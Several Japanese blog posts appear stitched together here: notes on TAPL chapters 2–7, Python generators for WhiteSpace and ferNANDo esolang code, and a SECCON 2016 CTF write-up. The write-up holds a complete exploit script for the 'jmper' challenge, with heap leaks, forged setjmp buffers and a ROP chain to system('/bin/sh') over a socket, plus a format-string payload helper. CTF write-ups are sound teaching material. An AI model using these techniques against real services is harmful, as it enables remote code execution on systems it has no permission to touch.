TAPLを読む会(~7章)

2章 数学的準備

用語の定義、もしくは集合とか関係とか列とかについて。二項関係について慣れていれば大丈夫そう。

3章 型無し算術式

boolっぽいやつとnatっぽいやつだけからなる言語を例にとって、今後の概念について説明する。

3.1

対象言語とかメタ言語とか項,式,値とかについて。

3.2

帰納的な項の定義,推論規則による項の定義(証明木みたいな感じ),を定義する。この時点では型とかは考えていないので意味的にやばい式も項となりうる。そしてこれらの等価性を示す。

3.3

項の(深さ|サイズ|構造)についての帰納法についての説明と、その正当性について。これから沢山出てきます。

3.4

(操作的|表示的|公理的)意味論について紹介しているのだけれど正直それらの違いがよく分からない。

3.5

この節から本編。

B

まず、{true,false,if_then_else} のみからなる言語を例に取って説明している。

• 構文 「項」と「値」に対応するメタ変数と、それらが何であるかが再帰的に定義されている。これによって

• 評価 項がどう評価(簡約)されていくかを示す。最終的に同じ項に評価されるものでも、評価戦略はいろいろあったりする。

将来、型を表すメタ変数や型付け規則が追加されたりするが、この時点ではまだ型はない。

この節における「定義」は後々においても使われるが、「定理」は今見ている言語についてのものであり一般的ではない(まあしかし大抵は後の言語でも満たされる性質ばかりであるが)

評価が行き詰まらず、全ての項の正規形が値であることは型付けの一つの目標である。(評価が有限回で停止することも可能ならば目指したいが、その場合は計算能力を犠牲にすることになる)

この言語では、

• 評価は決定的に行われる
• 値 ⇔ 正規形
• 正規形は一意
• 評価が有限回で停止する(強正規化性的な)

が成り立つ。

B + N

数値が入ってくる。この体系でも「評価は決定的に行われる」が、正規形だが値でないもの(行き詰り状態)が発生する。(errorなものを全てwrongに簡約していくのはHaskellのNothingっぽい)

後、小ステップスタイルと大ステップスタイルについて。この本は全体的に小ステップで評価規則を定めている。 (小ステップは証明木に似ていて、大ステップはシークエント計算に似ているなと思った)

4章 算術式のML実装

やってねぇ…

5章 型無しラムダ計算

みんな大好き型無しλ計算。

5.1

基礎。

• 字句解析と構文解析
• 自由変数、束縛変数、スコープ、コンビネータ
• β簡約
• 完全β簡約・正規順序・名前呼び・値呼び　

とか。評価戦略は型システムにはあまり関係ないのでさらっと。この本では値呼びでいく。

5.2

λ計算でひととおり遊ぶ。多分誰しもやったことがあるはず。 まず、 bool -> pair -> nat -> add,sub,mul くらいまで定義する。

計算体系の拡張

プリミティブとしてnat,boolを加えて、それらの間の相互変換をする話。2つのλ式が等価であるかは決定不能だった(はず)なので、λ式→数字変換関数があると便利。

再帰

不動点、fixのはなし。この本ではfixとしてZコンビネータを示している。(値呼び評価なので)

5.3

3.4でやったように、型無しλ計算の体系の性質を示したりする。が深入りはしない。 構文、代入(β簡約)における変数名についての諸注意、値呼びを実現するための評価戦略について。

6章 項の名無し表現

de Bruijn インデックスについて。型理論をやるにあたっては必要ないが、実際に実装するときに大いに参考になる。(僕のpythonでの実装はこれを参考にした)

7章 ラムダ計算のML実装

やってねぇ…

参考

自分の型無しλ計算のpython実装

esolangを書く、の2

この記事は、TSG Advent Calendar 2016 - Adventar の14日目のために公開されました。

先日のやつ esolangを書く - 忖度 の続きです。

今回はどちらも素手で書くのが困難な言語なので、pythonでソースコードを出力させます。
先にネタバレしておくと、WhiteSpaceはアセンブリ言語っぽくて、ferNANDoは論理回路っぽいなと思いました。計算機システムとハードウェア構成法ですね。

WhiteSpace

これすごい好き(与えられたお題を様々なesolangで解くハッカソンらしい) pic.twitter.com/HMYHIiZjUl

— Fukumu Tsutsumi (@levelfour_) November 26, 2016

これです。駒場祭に展示させたかったので当日に書きました。
ソースコードは

です。
どちらも読みにくくて仕方がないので、書くために使ったpythonのソースコードを載せます。

#coding: utf-8
from Tkinter import Tk

def i2w(x):
	res = ""
	if x>=0:
		res += " "
	else:
		res += "\t"
		x *= -1
	ad = ''
	while x>0:
		ad = ("\t" if x%2==1 else " ") + ad
		x /= 2
	res += " " + ad
	return res

#http://www.kembo.org/whitespace/tutorial.html
#http://koturn.hatenablog.com/entry/2015/08/10/000000

def push(x):
	return "  " + i2w(x) + "\n"

geti = "\t\n\t\t"

getc = "\t\n\t "
	
outi ="\t\n \t"

endp = "\n\n\n" 

heap_s = "\t\t "
heap_l = "\t\t\t"

dup = " \n "

add = "\t   "
sub = "\t  \t"
mul = "\t  \n"
mod = "\t \t\t"
div = "\t \t "

swap = " \n\t"

def mark(x):
	return "\n  " + x + "\n"

def jmpng(x): #負だったら飛ぶやつ
	return "\n\t\t" + x + "\n"

def load(x):
	return push(x) + heap_l
def store(x):
	return push(x) + swap + heap_s

r = Tk()
r.clipboard_clear()

#s = push(0) + geti + push(0) + heap_l + outi + endp
s = (
	push(100) + store(1) + #カウンタをheap(1)に
	push(0) + store(2) + #答えをheap(2)に
	mark("\t \t ") + #ラベル
	
	load(2) + push(2) + mul +  #ansを二倍
	push(0) + getc + load(0) + #入力をpush
	push(ord('0')) + sub + add + 
	store(2) + #getcの結果を足してstore
	
	load(1) + #カウンタロード
	push(1) + sub + dup + store(1) + #デクリメントしてstore.
	push(0) + swap + sub + jmpng("\t \t ") + #正だったら飛ぶ
	load(2) + outi + #出力
	endp
)
r.clipboard_append(s)
#print getc + getc + endp[:-1]

中ほどに載っているリファレンスとインタプリタを参考にしました。
whitespaceはいちおうスタック型言語ですが、スタックに対するランダムアクセスがあったり、heap領域が使えたりするので、ふつうの言語と遜色なく書けます。実質アセンブリみたいなもんです。

今回は、IdeoeのWhiteSpaceインタプリタの内部実装がHaskellだったので、整数の大きさに制限がないです。
そのため、アルゴリズムは

i = 100
ans = 0
while i>0:
  ans = ans * 2 + getc() - 48
  i --
puti(ans)

みたいな感じでしました。実質アセンブリでしたね。(for文のとこ、先にロードしてデクリメントしてから比較ジャンプするとことか)

ferNANDo

ferNANDo - Esolang :: 仕様
FerNANDo – Try it online! :: インタプリタ

Brainf*ckやBefungeやWhiteSpaceは有名ですが、これは初耳でした。その他の言語が高性能に思えるくらい仕様がシンプルでした。

仕様の簡単な説明

変数名は何でも可(ただし?は特別)。最初は全て0で初期化されている。
命令は3種類のみ。

nand

a b c 

と書くと、a に b NAND cの結果が代入される。

a b 

と書くと、a に a NAND bの結果が代入される。

ループ

hogehuga

と、1行に1変数だけ書くと、上に全く同じ行がなければ特に何もせず、上に同様に hogehuga とだけ書かれた行があった場合、hogehuga が1なら上の行にジャンプし、0ならそのまま次の行に移る。

入出力

a b c d e f g h

と書くと、a b c d e f g h を8ビットの数字としてみたものに対応するアスキーコードが出力される。

r a b c d e f g h

と書くと、a b c d e f g h に入力を1文字読み込んだもののアスキーコードが、rに入力に成功したかどうかが入る。

あと、?は特別な変数で、いつでも読み出し時にランダムな値が出てくるらしいですが、今回は使いませんでした(むしろこれに気付かないバグを踏んだ)

解法

見ての通り全変数が1bitのみで演算がNANDしかない言語です。
こんなんでプログラミングできるんかいなと思う人がいるかもしれませんが、いちおうNANDがあればANDやORやNOTができるので論理演算には事欠かず、またループも可能だし入出力もできるので問題を解けるポテンシャルがあるように思えます。(実際にwikiのサンプルコードの中にルール30をシュミレートするプログラムが書いてありました。ルール110ができればチューリング完全なので、多分ferNANDoもチューリング完全なのではないでしょうか)*1

で、実際に解いてみました。

#coding: utf-8
from Tkinter import Tk


init = """
0 0 0
0 0 0 
1 1 1 
"""

var_num = 0
def getv():
	#一桁変数は避ける。
	global var_num
	var_num += 1
	return 'v' + str(var_num)

def getvs(x):
	if x==1:
		return getv()
	else:
		return [getv() for i in xrange(x)]

#一時変数名の衝突を防ぐためにdで深さを入れる。
#あと、同じ名前が入ってきても大丈夫なように設計しましょう...
#具体的には、sに代入したあとに、aやbを参照すると壊れてる可能性がある。

def nand(s,a,b): # s = a nand b
	return "%s %s %s\n" % (s,a,b)

def one(a): #aに1を代入
	return nand(a,a,'0')

def not_(s,a): #s = !a
	return nand(s,a,a)

def zero(a): #aに1を代入
	return one(a) + not_(a,a)

def and_(s,a,b): # s = a & b
	return nand(s,a,b) + not_(s,s)

def mov(s,a): # s := a
	return and_(s,a,a)

def or_(s,a,b): # s = a | b
	return not_(a,a) + not_(b,b) + nand(s,a,b)

def xor(s,a,b): # s = a ^ b
	ta,tb,mb = getvs(3)
	return mov(mb,b) + not_(ta,a) + not_(tb,b) + nand(s,a,tb) + nand(tb,ta,mb) + nand(s,s,tb)

def ha(c,s,a,b): #ハーフアダー。
	#s = a ^ b
	#c = a & b
	ma, mb = getvs(2)
	return mov(ma,a) + mov(mb,b) + xor(s,ma,mb) + and_(c,ma,mb)

def fa(c,s,p,q,r): #フルアダー。
	#s = a ^ b
	#c = a & b
	mp, mq, mr, tp= getvs(4)
	return (
		mov(mp,p) + mov(mq,q) + mov(mr,r) + 
		ha(c,s,mp,mq) + ha(tp,s,s,mr) + or_(c,tp,c)
	)
	
def inc(ds): #dsで表される配列をインクリメントする。
	tp,tq = getvs(2)
	res = one(tp)
	for s in ds:
		res += and_(tq,tp,s)
		res += xor(s,tp,s)
		res += mov(tp,tq)
	return res

def neq(r,cs,ds): #csとdsを比べた結果をrに格納する。等しいなら0。
	res = zero(r)
	tt = getv()
	for p,q in zip(cs,ds):
		res += xor(tt,p,q)
		res += or_(r,r,tt)
	return res

def add(c,cs,ds): #cs += ds, cには桁上がりが入る
	nc,ns = getvs(2)
	res = zero(nc)
	for p,q in zip(cs,ds):
		res += fa(nc,ns,nc,p,q)
		res += mov(p,ns)
	res += mov(c,nc)
	return res

def movv(cs,ds): #cs := ds
	res = ""
	for t,d in zip(cs,ds):
		res += mov(t,d)
	return res

def sub(c,cs,ds): #cs += ds, cには負数でないかどうかが入る
	td = getvs(len(ds))
	res = movv(td,ds)
	for t in td:
		res += not_(t,t)
	res += inc(td)
	res += add(c,cs,td)
	return res

def geq(r,ds,cs): #ds>=csか
	td = getvs(len(ds))
	return movv(td,ds) + sub(r,td,cs) #+ "0 0 1 1 %s %s %s %s" % (td[3],td[2],td[1],td[0]) + "\n"

def lls(ds): #論理左シフト
	res = ""
	for i in range(0,len(ds)-1)[::-1]:
		res += mov(ds[i+1],ds[i])
	res += mov(ds[0],'0')
	return res

def andv(ds,a): #ds = map(lambda x: x & a,ds)
	res = ""
	for d in ds:
		res += and_(d,d,a)
	return res

def nibai(dss): #4bitリトルインディアン(10進)のものを各桁ごとに上から2倍していく
	ls = len(dss)
	res = ""
	tp,tq = getvs(2)
	tds = getvs(4)
	for i in range(0,ls-1)[::-1]:
		ds = dss[i]
		res += geq(tp,ds,['1','0','1','0'])
		#res += movv(tds,['0','1','0','1'])
		#res += andv(tds,tp)
		#res += sub(tq,ds,tds)
		res += sub(tq,ds,[tp,'0',tp,'0'])
		res += add(tq,dss[i+1],[tp,'0','0','0'])
		res += lls(ds)
	return res

r = Tk()
r.clipboard_clear()

cnt = ['c' + str(i) for i in xrange(10)]
ans = [['a' + str(i) + ',' + str(j) for j in xrange(4)] for i in xrange(33)]

s = (
	init + 
	movv(cnt,['0'] * 10) + 
	""
)

for ds in ans:
	s += movv(ds,['0'] * 4)

tp = getv()
s += (
	'x' + "\n" + 
	nibai(ans) + 
	'x x x x x x x x b' + "\n" + 
	add(tp,ans[0],['b','0','0','0']) + 
	inc(cnt) + 
	#"0 0 1 1 %s %s %s %s" % (cnt[3],cnt[2],cnt[1],cnt[0]) + "\n" + 
	#geq(tp,cnt,['1','1','0','0']) + 
	#"0 0 1 1 0 0 0 %s" % tp + "\n" + 
	neq('x',cnt,map(chr,map(ord,'0001100100'[::-1]))) + 
	#neq('x',cnt,map(chr,map(ord,'0000000110'[::-1]))) + 
	'x' + "\n" +
	""
)

for ds in ans[::-1]:
	s += ("0 0 1 1 %s %s %s %s" % (ds[3],ds[2],ds[1],ds[0])) + "\n"

print len(s)
r.clipboard_append(s)

ハーフアダーとかフルアダーとかインクリメンタとかアダーとかがあるのでもう論理回路ですね。

おおまかなアルゴリズムとしては、

counter = '0000000000'
loop
ans <- ans * 2
x x x x x x x b
ans <- ans + 1
loop <- counter < '0001100100'
loop
print ans

みたいな感じですかね。
ansを二倍する部分は、そもそも4bitのものを35桁分持ってないといけないので、ループを回すことができず、各桁について、

c <- ans[i] >= '0101'
ans[i+1] += '000c'
ans[i] -= '0c0c'
ans[i] <<= 1

みたいなことを35回書いてどうにかしました。

で、これで解けるのですが、これで出力するとコードの長さが約35万文字になりました。
今回は提出システムを@hakatashiが作ってくれたのですが、システムの都合上1万文字に抑えてくれと言われたので、ここからさらに論理圧縮をしてコード長を1/35にすることになりました。

最終的には、

#coding: utf-8
from Tkinter import Tk


init = """
0 0 0
0 0 0 
1 1 1 
"""

def nand(s,a,b): # s = a nand b
	if s==a: #10242 -> 10162
		return "%s %s\n" % (s,b)
	elif s==b:
		return "%s %s\n" % (s,a)
	return "%s %s %s\n" % (s,a,b)

def one(a): #aに1を代入
	return nand(a,a,'0')

def not_(s,a): #s = !a
	if s==a: #174122 -> 144684
		return "%s %s\n" % (s,'1')
	else:
		return nand(s,a,a)

def zero(a): #aに0を代入
	#return one(a) + not_(a,a)
	return "%s 1 1\n" % a #144684 -> 144098

def and_(s,a,b): # s = a & b
	return nand(s,a,b) + not_(s,s)

def mov(s,a): # s := a
	return and_(s,a,a)

def or_(s,a,b): # s = a | b
	return not_(a,a) + not_(b,b) + nand(s,a,b) 

def xor(s,a,b): # s = a ^ b
	tc,td,te = ('A','B','C')
	if a==s:
		te = s #10162 -> 9798
	return (
		nand(tc,a,b) + 
		nand(td,a,tc) + 
		nand(te,b,tc) + 
		nand(s,td,te) #144098 -> 119922
	)

def inc(ds): #dsで表される配列をインクリメントする。
	tp,tq = ('D','E')
	res = one(tp)
	for s in ds:
		res += and_(tq,tp,s)
		res += xor(s,tp,s)
		res += mov(tp,tq)
	return res

def neq(r,cs,ds): #csとdsを比べた結果をrに格納する。等しいなら0。
	res = zero(r)
	tt = 'F'
	for p,q in zip(cs,ds):
		res += xor(tt,p,q)
		res += or_(r,r,tt)
	return res


def add0or5(a,b,c,r): # cba += r0r をする
	tp,ic,ib = ('G','H','I')
	#return add(tp,[a,b,c],[r,'0',r])
	res = ""
	res += and_(ib,a,r)
	res += and_(ic,ib,b)
	res += xor(ic,ic,r)
	res += xor(c,c,ic)
	res += xor(b,b,ib)
	res += xor(a,a,r)
	return res

def sub5(r,a,b,c,d): # dcba -= 0101 をする。で、rに、dcba += 1011の繰り上がりの結果が入る
	
	ib,ic,id,ir = ('J','K','L','M') #38372 -> 15662
	res = ""
	res += not_(a,a)
	res += not_(ic,b)
	res += nand(ic,ic,a)
	res += nand(id,ic,c)
	res += not_(d,d)
	res += nand(ir,id,d) # 10498 -> 10242
	res += xor(b,b,a)
	res += xor(c,c,ic)
	res += xor(d,d,id)
	res += not_(r,ir)
	return res

def mo5sub5(r,ds): 
	#if ds>=5 then {ds -= 5; r=1;} else {r=0;}
	tq = 'N'
	res = ""

	res += sub5(r,ds[0],ds[1],ds[2],ds[3])
	res += add0or5(ds[0],ds[1],ds[2],r)
	
	#res += zero(ds[3]) #シフトするので不要。 11935 -> 11711
	return res

def lls(ds): #論理左シフト

	res = ""
	for i in range(0,len(ds)-1)[::-1]:
		res += mov(ds[i+1],ds[i]) 
	return res


def nibai(dss): #4bitリトルインディアン(10進)のものを各桁ごとに上から2倍していく
	ls = len(dss)
	res = ""
	tp,tq = ('O','P')
	for i in range(0,ls-1)[::-1]:
		ds = dss[i]
		res += mo5sub5(tp,ds)
		
		res += not_(dss[i+1][0],tp) #119922 -> 90322
		#print ds,
		res += lls(ds)
		#print ds
	return res

#変数名をAからRまで割り振ることにより、
#14807 -> 11935

var_num = 0
def getv():
	global var_num
	var_num += 1
	res = ""
	nv = var_num
	d = 127-33
	ok = True
	while nv>0:
		nc = nv%d+33
		res += chr(nc)
		nv /= d
	if len(res)<=1:
		c = res[0]
		if c=='0' or c=='1' or c=='?' or (ord('A') <= ord(c) and ord(c) <= ord('R')):
			#11511 -> 10704
			return getv()
	
	return res

def getvs(x):
	if x==1:
		return getv()
	else:
		return [getv() for i in xrange(x)]


r = Tk()
r.clipboard_clear()

import sys

ketan = 33
if len(sys.argv)>=2:
	ketan = 3

ans = [[getv() for j in xrange(4)] for i in xrange(ketan)]
cnt = [getv() for i in xrange(7)] #38372 -> 38030

s = (
	init + 
	""
)

s += (
	'Q' + "\n" + 
	nibai(ans) + 
	'Q Q Q Q Q Q Q Q R' + "\n" + 
	mov(ans[0][0],'R') + #15662 -> 14807
	inc(cnt) + 
	neq('Q',cnt,map(chr,map(ord,'1100100'[::-1]))) + 
	'Q' + "\n" +
	""
)

for ds in ans[::-1]:
	s += ("0 0 1 1 %s %s %s %s" % (ds[3],ds[2],ds[1],ds[0])) + "\n"

print len(s)
r.clipboard_append(s)

となりました。
改善点としては、

• 出来る限り1文字変数名が多く使われるようにする
• 加算、減算の数値がほぼ一定(0か5)なのでアダーを使わず回路を直に書き込む
• nandやxorなどで同じ記号を使っているならその分短く書くことができる

とかですかね。論理圧縮すると回路ががりがり縮んでいきました。
最終的に、9798文字になったので、晴れてACを貰うことができました。

感想

BFやBefungeやWhiteSpaceのいかに書きやすいことか!!

*1:cf. NANDがあればなんでもできる その1 - kivantium活動日記

SECCON 2016 online のwriteup

チームTSGとして、TSGメンバーの人々と集まって例のごとく参加していました。2600点で28位でした。
自分が主に解いた問題のwriteupとかを載せます。
12時間かけてjmperを解いて、9時間かけてchatを解いて、終了直前にropsynthを通した感じです。

jmper

問題と解法

x64のnot_stripped。NXあり、RELROあり。

生徒を増やしたり名前やメモを登録できたりするサービス。
以下はリバーシング時のメモ。(読みにくい)

//"1. Add student.\n2. Name student.\n3. Write memo\n4. Show Name\n5. Show memo.\n6. Bye :)"

f(){
	for(;;){
		scanf("%d",var18); //q
		if(q==1){
			if([602028]>0x1d){ //stn;
				longjump([602038]);
			}
			var8 = malloc(0x30);
			[var8] = stnnum;
			[var8+0x28] = malloc(0x20); //name
			[mycalss+stdnum*8] = var8;
			[602028]++;
		}
		else if(q==2){
			scanf("%d",var1c); //ID
			if([var1c]>=stdnum || [var1c]<0)exit();
			var10 = [[mycalss+var1c*8]+0x28];
			int i=0; //var14
			for(;i<=0x20;i++){
				char c = getchar(); //var1d
				if(c==0xa)break;
				[var10] = c;
				var10++;
			}
		}
		else if(q==3){ //write memo
			scanf("%d",var1c); //ID
			if([var1c]>=stdnum || [var1c]<0)exit();
			var10 = [mycalss+var1c*8]+0x8;
			int i=0; //var14
			for(;i<=0x20;i++){
				char c = getchar(); //var1d
				if(c==0xa)break;
				[var10] = c;
				var10++;
			}
		}
		else if(q==4){ //show name
			scanf("%d",var1c); //ID
			if([var1c]>=stdnum || [var1c]<0)exit();
			printf("%s",[[mycalss+var1c*8]+0x28]);
		}
		else if(q==5){ //show memo
			scanf("%d",var1c); //ID
			if([var1c]>=stdnum || [var1c]<0)exit();
			printf("%s",[mycalss+var1c*8]+0x8);
		}
		
	}
}

int main(){
	[602030] = malloc(0xf0); //my_class
	[602038] = malloc(0xc8); //jump buf
	if(setjmp([602038])==0){
		//bye;
		return;
	}
	f();
	return;
}
	

各生徒について、だいたい

struct student{
  int index;
  char memo[0x20]; // +0x8
  char* name; // +0x28; malloc(0x20);
};

みたいな感じで構造体があって、memoを書いたりnameを書いたりできる。

で、nemoを書くところにoff-by-oneがあって、nameの指しているアドレスをリークしたり、nameの下1byteを上書きしたりできる。

で、試してみると、一人目のstudentについて、

アドレス		値
heap_top+0x1e0	index
heap_top+0x1e8	memo
...	...
heap_top+0x208	name	heap_top+0x220

となっていると分かったので、1byte上書きして、

アドレス		値
heap_top+0x1e0	index
heap_top+0x1e8	memo
...	...
heap_top+0x208	name	heap_top+0x208

としてやったあと、更にnameを変更することにより、nameが任意アドレスを指すようにできるので、そのときにnameを表示させることによりlibcのアドレスをリークさせたり、その後のnameの書き換えで任意の場所が書き換え可能となったりする。

ここでGOTを上書きできればおしまいなのだが残念ながら問屋が卸さず今回はRELROである。

ここで、今回はsetjmp,longjumpというのがあって、生徒を沢山作ろうとするとlongjumpが呼ばれるようになっている。

これはいわゆる大域脱出に使われる関数で、呼ぶと引数のバッファに従って環境が戻される(すなわちripかrspとかが書き換えられる!!)。

ここで、jumpのためのバッファはmallocで確保されているのでアドレスが分かり、このバッファをいじることによってripとrspをいじれるようになる。

jmperでROPガジェットを探すと pop rdi; ret; が見つかるので、文字列"bin/sh"へのアドレスとsystemのアドレスを積んでいるスタックっぽい生徒の名前を作り、rspとripをROPが動くようにうまいこと書き換えればよい。

　以下のlongjmpの逆アセンブルによれば、バッファにはrspとripがfs:0x30とxorされてシフトされた状態で入っており、うまいこと書き換えてやる必要があると分かるので、それをやる。

(ripはもともとmainのsetjmpの直後になるようになっているので、そこから逆算してfs:0x30が分かる)

以下、libcのlongjmpのobjdumpの結果。

   36ae0:	4c 8b 47 30          	mov    r8,QWORD PTR [rdi+0x30]
   36ae4:	4c 8b 4f 08          	mov    r9,QWORD PTR [rdi+0x8]
   36ae8:	48 8b 57 38          	mov    rdx,QWORD PTR [rdi+0x38]
   36aec:	49 c1 c8 11          	ror    r8,0x11
   36af0:	64 4c 33 04 25 30 00 	xor    r8,QWORD PTR fs:0x30
   36af7:	00 00 
   36af9:	49 c1 c9 11          	ror    r9,0x11
   36afd:	64 4c 33 0c 25 30 00 	xor    r9,QWORD PTR fs:0x30
   36b04:	00 00 
   36b06:	48 c1 ca 11          	ror    rdx,0x11
   36b0a:	64 48 33 14 25 30 00 	xor    rdx,QWORD PTR fs:0x30
   36b11:	00 00 
   36b13:	48 8b 1f             	mov    rbx,QWORD PTR [rdi]
   36b16:	4c 8b 67 10          	mov    r12,QWORD PTR [rdi+0x10]
   36b1a:	4c 8b 6f 18          	mov    r13,QWORD PTR [rdi+0x18]
   36b1e:	4c 8b 77 20          	mov    r14,QWORD PTR [rdi+0x20]
   36b22:	4c 8b 7f 28          	mov    r15,QWORD PTR [rdi+0x28]
   36b26:	89 f0                	mov    eax,esi
   36b28:	4c 89 c4             	mov    rsp,r8
   36b2b:	4c 89 cd             	mov    rbp,r9
   36b2e:	ff e2                	jmp    rdx

以下が自分のコード。

#coding: utf-8
from socket import *
import time

#sudo gdb -q -p `pidof -s execfile` -x gdbcmd
#socat TCP-L:10001,reuseaddr,fork EXEC:./execfile

#./../../tools/rp-lin-x86 -file=mylibc --rop=3 --unique > mygads.txt

isgaibu = False
isgaibu = True

sock = socket(AF_INET, SOCK_STREAM)
if isgaibu:
	sock.connect(("jmper.pwn.seccon.jp", 5656))
	raw_input('gdb$')
		
else:
	sock.connect(("localhost", 10001))
	raw_input('gdb$')


size_t = 0x8 #x64かx86か。sizeof(void*) の値で。

def addr2s(x):
	res = ""
	for i in xrange(size_t):
		res += chr(x % 256)
		x /= 256
	return res

def s2hex(s):
	return map(lambda c: hex(ord(c)),s)
	
def s2addr(s):
	res = 0
	for i in xrange(size_t):
		res *= 256
		res += ord(s[size_t-i-1])
	return res
	
def shell():
	while True:
		sock.send(raw_input() + '\n')
		print sock.recv(1024)

def getunt(c):
	res = ""
	while res=='' or res[-len(c):]!=c:
		res += sock.recv(1)
		#print res
	print res
	return res

def send(s):
	#print '[sending :: %s]' % s
	time.sleep(0.1)
	sock.send(s)

def getshellc(fn):
	res = ""
	with open(fn,'rb') as fp:
		res = fp.read()
	print map(ord,res)
	return res


class FSB:
	def check_diff(sl):
		#return ''.join(map(lambda p: '%0x' + chr(p+ord('A')) , xrange(15)))
		return '%8x,' *  15
		#0x25,0x30,0x78,0x2c なので、そのへんを探す。
	def init(sl,kome,bytm,paynum,yet):
		#たとえば、deadbeef,cafebabe,abcd9876,3025cafe, ... なら、
		#fsb.init(kome=3,bytm=2,paynum=,yet=) で。

		sl.kome = kome
		sl.head = '*' * bytm
		#%hnでやっていきます
		sl.yet = yet + paynum * size_t * (size_t / 2) + bytm
		print 'yet .. ',sl.yet
		print yet
		#payloadは、yetとpaynum分ずれて出る。
		sl.data = []
		sl.npn = 0
	def add(sl,addr,val): #addrをvalにする
		
		for i in xrange(size_t/2): #x86なら2,x64なら4
			sl.head += addr2s(addr + i*2)
			sl.data.append((val % 0x10000, '%%%d$hn' % (sl.npn + sl.kome + 2)))
			val /= 0x10000
			sl.npn += 1
		#短い順にソートすることにより、ペイロードを短くする
		
	def get(sl):
		res = sl.head
		ny = sl.yet
		data = sorted(sl.data)
		for ty,s in data:
			dy = ((ty-ny + 0x10000) % 0x10000)
			if dy>0:
				res += '%%%dx' % dy
			res += s
			ny = ty
		#print len(sl.head)
		#print s2hex(sl.head)
		return res


def name(x,s):
	send('2\n%d\n' % x) #name
	send(s)
	getunt('6. Bye :)')
	
def memo(x,s):
	send('3\n%d\n' % x) #name
	send(s)
	getunt('6. Bye :)')

def add():
	send('1\n') 
	getunt('6. Bye :)')


def leak_got():
	add()
	memo(1,'b' * 0x20 + chr(0x78))
	name(1,addr2s(0x601fa0) + '\n')
	send('4\n1\n')
	s = getunt('6. Bye :)')
	s = s[4:]
	s = s[:6]
	s = s + '\x00' * 2
	print 'addr ..',hex(s2addr(s))
	raw_input('leak')
	return s2addr(s)

getunt('6. Bye :)')
add()
memo(0,'a' * 0x20 + '\n')

send('5\n0\n')
s = getunt('6. Bye :)')
s = s[0x24:]
s = s[:4] + '\x00' * 4
print s2hex(s)
ad = s2addr(s)
print hex(ad)
beas = ad - 0x220
toa = beas + 0x140
print hex(beas)

puts_ad = leak_got()

memo(0,'b' * 0x20 + chr(0x08))
name(0,chr(toa % 256) + chr((toa / 256) % 256) + '\n')

send('4\n0\n')
s = getunt('6. Bye :)')
s = s[4:]
s = s[:16]
#print s2hex(s)
s1 = s[:8]
s2 = s[8:]
x = s2addr(s2)

def ror(x):
	res = (x>>0x11) | ((x<<(0x40-0x11)) & ((1<<64)-1))
	return res

def rol(x):
	res = ((x<<0x11) & ((1<<64)-1)) | (x>>(0x40-0x11))
	return res
	
x = ror(x)

cana = x ^ 0x400c31 
x ^= (0x400c31 ^ 0x00400cc3) #pop rdi; ret
x = rol(x)

y = s2addr(s1)
y = ror(y)
y = cana ^ (beas + 0xe28)
y = rol(y)


send('2\n0\n') #name
send(addr2s(y) + addr2s(x) + '\n')
getunt('6. Bye :)')


binsh = puts_ad - 0x6fd60 + 0x17c8c3
syste = puts_ad - 0x6fd60 + 0x046590 

for i in xrange(27):
	print 'i ......  %d' % i
	send('1\n') #name
	getunt('6. Bye :)')

memo(28,addr2s(binsh) + addr2s(syste) + '\n')

send('1\n') #name
time.sleep(1)
print sock.recv(1024)
shell()

#SECCON{3nj0y_my_jmp1n9_serv1ce}

大会中

配置アドレスの確認とかに時間をかけすぎていてずいぶん時間がかかってしまった。
また、途中までOne-gadget-RCEでどうにかしようとしていて、与えられたlibcで手元で動かしたかったのでいろいろ試行錯誤していたが結局だめだった。(LD_LIBRARY_PATHでやろうとしてもなぜかセグフォしてうまくいかなかった)(仮想環境のlibcを置き換えようとしたところ、もともとあったlibcをmvしてから問題libcをcpしようとしたら、cpするためのlibcが無くなってしまったのでcpやmvが動かなくなり、仮想環境を一つぶっ壊してしまった。)
こんなに時間がかかるとは思っていなかったので泥沼という感じ。

chat

問題と解法

x64のnot_stripped。NX,canaryあり。

twitter風のチャットサービス。(僕は大会中ずっとこの問題をツイッターと呼んでいた)

以下はリバーシング時のメモ(書きかけ)(読めない)

int getnline(char* s,int ls){
	fgets(s,ls);して、strchr(s,'\x10');して消す奴
	return strlen(s);
}

int main(){
	/*
	1 : Sign Up	2 : Sign In
	0 : Exit
	*/
		char* acc = NULL; //rbp-0xa8
		char* name; //rbp-0xa0
		for(;;){
			if(accnum !=0){
				servise(acc);
 				logout(acc);
 			}
 			int n=getint();
 			if(n0<=n<=2){
 				getnline(name,0x20);
 				if(n==0)break;
 				if(n==1)signup(name);
 				else login(accnum,name);
 			}
 			else invalid;
 		}
}


void servise(char* user){
	char* un = user; //rbp-0xa8
	/*
	1 : Show TimeLine	2 : Show DM	3 : Show UsersList
	4 : Send PublicMessage	5 : Send DirectMessage
	6 : Remove PublicMessage		7 : Change UserName
	0 : Sign Out
	*/
	get_tweet(0);
	get_tweet([rbp-0xa8]);
	list_users();
	else if(q==4){
		getnline(rbp-0x90,0x80);
		post_tweet([rbp-0xa8],0,rbp-0x90); //
	}
	else if(q==5){
		getnline(rbp-0x90,0x20);
		[rbp-0x98] = getuser(rbp-0x90);
		getnline(rbp-0x90,0x80);
		post_tweet([rbp-0xa8],[rbp-0x98],rbp-0x90); //
	}
	else if(q==6){
		remove_tweet([rbp-0xa8],getint()); //
	}
	else{
		getnline(rbp-0x90,0x20);
		change_name([rbp-0xa8],rbp-0x90); //
	}
}

int hash(char* s){
	if(s==0)return -1;
	var4 = tolower(s[0]);
	if(!isprint(var4))return -1;
	return var4;// の 0x60あたり
}

void get_user(char* s){
	varc = hash(s);
	if(varc!=0){
		var8 = [user_tbl+varc*8];
		for(;;){
			if(var8==0)return 0;
			if(strcmp([var8],s)==0)return var8;
			var8 = [var8+0x10];
		}
	}
	else return 0;
}

void login(char* acc,char* s){
	[acc] = get_user(s);
	if([acc]!=0){ //ok
		return 1;
	}
	else return 0;
}

struct tweet{ //長さ0x98
	long int num; //tweet_count  
	void* tweeter;  //0x8
	char data[0x80]; //0x10
	void* next; //0x90
};

struct man{
	int name
};


//先頭が対応するやつにつながれる。
//tweeterは、また、getuserで返ってくる奴。

void post_tweet(void* man,void* to,char* s){
	//man .. var18, to = var20, s = var28
	var8 = malloc(0x98);
	[var8+8] = man;
	linecpy(var8+10,s,0x80);
	if(to==0){
		tweet_count += 1; //0x6031c0
		[var8] = tweet_count;
		[var8+0x90] = tl;
		tl = var8;
	}
	else{
		[var8] = 0;
		[var8+0x90] = [to+0x8];
		[to+0x8] = var8;
	}
}

void linecpy(char* to,char* fr,int len){
	for(int i=0;i<len;i++){
		to[i]=fr[i];
		if(fr[i]==0)break;
